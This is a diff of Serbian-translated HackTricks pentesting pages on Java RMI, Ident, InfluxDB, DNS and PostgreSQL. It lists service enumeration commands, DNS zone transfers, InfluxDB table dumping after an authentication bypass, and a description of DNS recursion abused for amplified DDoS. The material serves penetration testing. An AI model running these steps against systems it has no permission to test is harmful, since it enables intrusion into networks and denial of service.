* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
|
||||
## HackTricks Automatske Komande
|
||||
```
|
||||
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
||||
|
@ -313,11 +311,11 @@ Name: Enumeration
|
|||
Description: Perform basic enumeration of an RMI service
|
||||
Command: rmg enum {IP} {PORT}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -327,7 +325,7 @@ Pristupite danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
@ -23,7 +23,7 @@ Dobijte pristup danas:
|
|||
|
||||
## Osnovne informacije
|
||||
|
||||
**Ident protokol** se koristi preko **Interneta** da poveže **TCP konekciju** sa određenim korisnikom. Originalno dizajniran za pomoć u **upravljanju mrežom** i **bezbednosti**, funkcioniše tako što omogućava serveru da upita klijenta na portu 113 radi dobijanja informacija o korisniku određene TCP konekcije.
|
||||
**Ident protokol** se koristi preko **Interneta** da poveže **TCP konekciju** sa određenim korisnikom. Originalno dizajniran da pomogne u **upravljanju mrežom** i **bezbednosti**, funkcioniše tako što omogućava serveru da upita klijenta na portu 113 radi dobijanja informacija o korisniku određene TCP konekcije.
|
||||
|
||||
Međutim, zbog savremenih briga o privatnosti i potencijala za zloupotrebu, njegova upotreba je smanjena jer može nenamerno otkriti informacije o korisniku neovlašćenim stranama. Preporučuje se primena unapređenih mera bezbednosti, kao što su enkriptovane konekcije i strogi kontrolni pristupi, kako bi se umanjili ovi rizici.
|
||||
|
||||
|
@ -36,7 +36,7 @@ PORT STATE SERVICE
|
|||
|
||||
### **Ručno - Dobijanje korisnika/Identifikacija servisa**
|
||||
|
||||
Ako mašina pokreće servis ident i samba (445) i povezani ste sa sambom koristeći port 43218. Možete saznati koji korisnik pokreće samba servis tako što ćete uraditi:
|
||||
Ako mašina pokreće servis ident i samba (445) i povezani ste sa sambom koristeći port 43218. Možete saznati koji korisnik pokreće samba servis koristeći:
|
||||
|
||||
![](<../.gitbook/assets/image (15) (1) (1).png>)
|
||||
|
||||
|
@ -85,9 +85,9 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
|||
|
||||
identd.conf
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -117,9 +117,9 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
|
|||
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# 8086 - Pentesting InfluxDB
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -14,11 +14,11 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -43,7 +43,7 @@ InfluxDB može zahtevati autentikaciju ili ne.
|
|||
influx -host 'host name' -port 'port #'
|
||||
> use _internal
|
||||
```
|
||||
Ako dobijete grešku poput ove: `ERR: unable to parse authentication credentials`, to znači da se očekuju neki pristupni podaci.
|
||||
Ako **dobijete grešku poput** ove: `ERR: unable to parse authentication credentials` to znači da **očekuje određene akreditive**.
|
||||
```
|
||||
influx –username influx –password influx_pass
|
||||
```
|
||||
|
@ -104,7 +104,7 @@ inodes_used integer
|
|||
|
||||
[ ... more keys ...]
|
||||
```
|
||||
#### Izbaci tabelu
|
||||
#### Izbacivanje Tabele
|
||||
|
||||
I na kraju možete **izbaciti tabelu** radeći nešto slično:
|
||||
```bash
|
||||
|
@ -116,10 +116,10 @@ time cpu host usage_guest usage_guest_nice usage_idle
|
|||
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Tokom nekih testiranja sa zaobilaskom autentifikacije primećeno je da ime tabele mora biti između duplih navodnika kao: `select * from "cpu"`
|
||||
Tokom testiranja sa zaobilaskom autentikacije primećeno je da ime tabele mora biti između duplih navodnika kao: `select * from "cpu"`
|
||||
{% endhint %}
|
||||
|
||||
### Automatizovana autentifikacija
|
||||
### Automatizovana autentikacija
|
||||
```bash
|
||||
msf6 > use auxiliary/scanner/http/influxdb_enum
|
||||
```
|
||||
|
@ -127,20 +127,20 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
|
|||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini da podržite HackTricks:
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,15 +14,15 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti & testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju & eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se.
|
||||
**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Osnovne Informacije**
|
||||
## **Osnovne informacije**
|
||||
|
||||
**Sistem za Imena Domena (DNS)** služi kao direktorijum interneta, omogućavajući korisnicima pristup veb sajtovima putem **lako pamtljivih imena domena** poput google.com ili facebook.com, umesto numeričkih Internet Protokol (IP) adresa. Prevodeći imena domena u IP adrese, DNS osigurava da veb pregledači brzo mogu učitati internet resurse, pojednostavljujući način na koji se krećemo po online svetu.
|
||||
**Sistem za imena domena (DNS)** služi kao direktorijum interneta, omogućavajući korisnicima pristup veb sajtovima putem **lako pamtljivih imena domena** poput google.com ili facebook.com, umesto numeričkih Internet protokol (IP) adresa. Prevodeći imena domena u IP adrese, DNS osigurava da veb pregledači mogu brzo učitati internet resurse, pojednostavljujući način na koji se krećemo po onlajn svetu.
|
||||
|
||||
**Podrazumevani port:** 53
|
||||
```
|
||||
|
@ -34,7 +34,7 @@ PORT STATE SERVICE REASON
|
|||
### Različiti DNS serveri
|
||||
|
||||
* **DNS Root Serveri**: Nalaze se na vrhu DNS hijerarhije, upravljajući top-level domenima i intervenišu samo ako niži nivo serveri ne odgovore. Internet korporacija za dodeljivanje imena i brojeva (**ICANN**) nadgleda njihov rad, sa globalnim brojem od 13.
|
||||
* **Autoritativni Nameserveri**: Ovi serveri imaju poslednju reč za upite u svojim određenim zonama, pružajući definitivne odgovore. Ako ne mogu pružiti odgovor, upit se eskalira ka root serverima.
|
||||
* **Autoritativni Nameserveri**: Ovi serveri imaju poslednju reč za upite u svojim određenim zonama, pružajući definitivne odgovore. Ako ne mogu pružiti odgovor, upit se prenosi na root servere.
|
||||
* **Neautoritativni Nameserveri**: Bez vlasništva nad DNS zonama, ovi serveri prikupljaju informacije o domenima putem upita drugim serverima.
|
||||
* **Caching DNS Server**: Ovaj tip servera pamti prethodne odgovore na upite tokom određenog vremena kako bi ubrzao vreme odgovora za buduće zahteve, pri čemu trajanje keša diktira autoritativni server.
|
||||
* **Forwarding Server**: Obavljajući jednostavnu ulogu, forwarding serveri jednostavno prosleđuju upite drugom serveru.
|
||||
|
@ -51,7 +51,7 @@ dig version.bind CHAOS TXT @DNS
|
|||
```
|
||||
Takođe, alat `fpdns` može identifikovati server.
|
||||
|
||||
Takođe je moguće dobiti baner i sa **nmap** skriptom:
|
||||
Takođe je moguće dobiti baner i pomoću **nmap** skripte:
|
||||
```
|
||||
--script dns-nsid
|
||||
```
|
||||
|
@ -112,7 +112,7 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
|||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ako uspete da pronađete poddomene koje se prevode u interne IP adrese, trebalo bi da pokušate da izvršite reverzni DNS BF ka NSs domena tražeći taj IP opseg.
|
||||
Ako uspete da pronađete poddomene koje se prevode u interne IP adrese, trebalo bi da pokušate da izvršite reverzni DNS BF na NSs domena tražeći taj IP opseg.
|
||||
{% endhint %}
|
||||
|
||||
Još jedan alat za to: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
@ -144,7 +144,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
|||
```
|
||||
### IPv6
|
||||
|
||||
Bruteforsiranje korišćenjem "AAAA" zahteva za prikupljanje IPv6 adresa poddomena.
|
||||
Bruteforce korišćenjem "AAAA" zahteva za prikupljanje IPv6 adresa poddomena.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
|
@ -152,26 +152,33 @@ dnsdict6 -s -t <domain>
|
|||
|
||||
### Introduction
|
||||
|
||||
When pentesting, it is common to encounter IPv6 addresses that do not have reverse DNS records associated with them. This can be a potential security risk as it may allow an attacker to gather information about the target network. In such cases, bruteforcing reverse DNS can be a useful technique to uncover additional information.
|
||||
When pentesting, it is common to encounter IPv6 addresses that are not properly mapped to reverse DNS records. This can provide an opportunity for attackers to exploit this misconfiguration. By bruteforcing reverse DNS records for IPv6 addresses, attackers can gather valuable information about the target network.
|
||||
|
||||
### Steps to bruteforce reverse DNS using IPv6 addresses
|
||||
### Tools for Bruteforcing Reverse DNS
|
||||
|
||||
1. **Enumerate IPv6 addresses**: Use tools like `nmap` or `masscan` to enumerate IPv6 addresses within the target network.
|
||||
There are several tools available for bruteforcing reverse DNS records using IPv6 addresses. Some popular tools include:
|
||||
|
||||
2. **Generate possible domain names**: Since reverse DNS records are based on domain names, generate a list of possible domain names that could be associated with the IPv6 addresses. This can include variations of the target domain, subdomains, or common naming conventions used by the organization.
|
||||
- **dnsrecon**: This tool can be used to perform DNS enumeration and bruteforcing of reverse DNS records.
|
||||
- **dnsenum**: Another tool that can be used for DNS enumeration and bruteforcing.
|
||||
- **Fierce**: Fierce is a DNS reconnaissance tool that can also be used for bruteforcing reverse DNS records.
|
||||
|
||||
3. **Bruteforce reverse DNS**: Utilize tools like `dnsrecon` or `dnsenum` to bruteforce reverse DNS records for the enumerated IPv6 addresses using the generated list of domain names. These tools can automate the process of querying DNS servers for reverse DNS records associated with the IPv6 addresses.
|
||||
### Steps for Bruteforcing Reverse DNS
|
||||
|
||||
4. **Analyze results**: Review the results of the bruteforcing process to identify any potential misconfigurations or security vulnerabilities related to reverse DNS records. This information can be valuable for further enumeration and exploitation during the pentest.
|
||||
To bruteforce reverse DNS records using IPv6 addresses, follow these general steps:
|
||||
|
||||
By following these steps, pentesters can effectively bruteforce reverse DNS using IPv6 addresses to gather additional information about the target network.
|
||||
1. **Identify target IPv6 addresses**: Obtain a list of target IPv6 addresses that you want to bruteforce reverse DNS records for.
|
||||
2. **Select a bruteforcing tool**: Choose a suitable tool for bruteforcing reverse DNS records using IPv6 addresses.
|
||||
3. **Run the tool**: Execute the selected tool with the target IPv6 addresses to bruteforce reverse DNS records.
|
||||
4. **Analyze results**: Analyze the results to identify any misconfigured or missing reverse DNS records that could be exploited.
|
||||
|
||||
By following these steps, pentesters can uncover potential security weaknesses in the target network related to reverse DNS configurations for IPv6 addresses.
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
### DNS Rekurzivni DDoS
|
||||
|
||||
Ako je **DNS rekurzija omogućena**, napadač može **falsifikovati** **poreklo** na UDP paketu kako bi naterao **DNS da pošalje odgovor na server žrtve**. Napadač može zloupotrebiti tipove zapisa **ANY** ili **DNSSEC** jer obično imaju veće odgovore.\
|
||||
Način da **proverite** da li DNS podržava **rekurziju** je da upitujete ime domena i **proverite** da li je **flag "ra"** (_dostupna rekurzija_) u odgovoru:
|
||||
Ako je **DNS rekurzija omogućena**, napadač može **falsifikovati** **poreklo** na UDP paketu kako bi naterao **DNS da pošalje odgovor na server žrtve**. Napadač može zloupotrebiti **ANY** ili **DNSSEC** tipove zapisa jer obično imaju veće odgovore.\
|
||||
Način da **proverite** da li DNS podržava **rekurziju** je da upitujete ime domena i **proverite** da li je **flag "ra"** (_rekurzija dostupna_) u odgovoru:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
```
|
||||
|
@ -183,21 +190,21 @@ dig google.com A @<IP>
|
|||
|
||||
![](<../.gitbook/assets/image (276).png>)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od istraživanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
### Slanje e-pošte na nepostojeći nalog
|
||||
### Slanje pošte na nepostojeći nalog
|
||||
|
||||
Proučavanjem obaveštenja o nedostavi (NDN) koje je pokrenuto slanjem e-pošte na nevažeću adresu unutar ciljnog domena, često se otkrivaju dragoceni detalji interne mreže.
|
||||
|
||||
Dostupni izveštaj o nedostavi uključuje informacije kao što su:
|
||||
Dostupan izveštaj o nedostavi uključuje informacije kao što su:
|
||||
|
||||
* Generišući server je identifikovan kao `server.example.com`.
|
||||
* Obaveštenje o neuspehu za `user@example.com` sa kodom greške `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` je vraćeno.
|
||||
* Interni IP adrese i imena hostova su otkriveni u originalnim zaglavljima poruke.
|
||||
* Unutrašnje IP adrese i imena hostova su otkriveni u zaglavljima originalne poruke.
|
||||
```markdown
|
||||
The original message headers were modified for anonymity and now present randomized data:
|
||||
|
||||
|
@ -234,7 +241,7 @@ host.conf
|
|||
Opasne postavke prilikom konfigurisanja Bind servera:
|
||||
|
||||
| **Opcija** | **Opis** |
|
||||
| ----------------- | ------------------------------------------------------------------------------ |
|
||||
| ----------------- | ----------------------------------------------------------------------------- |
|
||||
| `allow-query` | Definiše koje hostove je dozvoljeno slati zahteve DNS serveru. |
|
||||
| `allow-recursion` | Definiše koje hostove je dozvoljeno slati rekurzivne zahteve DNS serveru. |
|
||||
| `allow-transfer` | Definiše koje hostove je dozvoljeno primati zone transfere od DNS servera. |
|
||||
|
@ -243,7 +250,7 @@ Opasne postavke prilikom konfigurisanja Bind servera:
|
|||
## Reference
|
||||
|
||||
* [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
|
||||
* Knjiga: **Network Security Assessment 3rd edition**
|
||||
* Knjiga: **Network Security Assessment 3. izdanje**
|
||||
|
||||
## HackTricks Automatske Komande
|
||||
```
|
||||
|
@ -298,9 +305,9 @@ Description: DNS enumeration without the need to run msfconsole
|
|||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -310,9 +317,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# 5432,5433 - Pentesting PostgreSQL
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -14,7 +14,7 @@ Pristupite danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
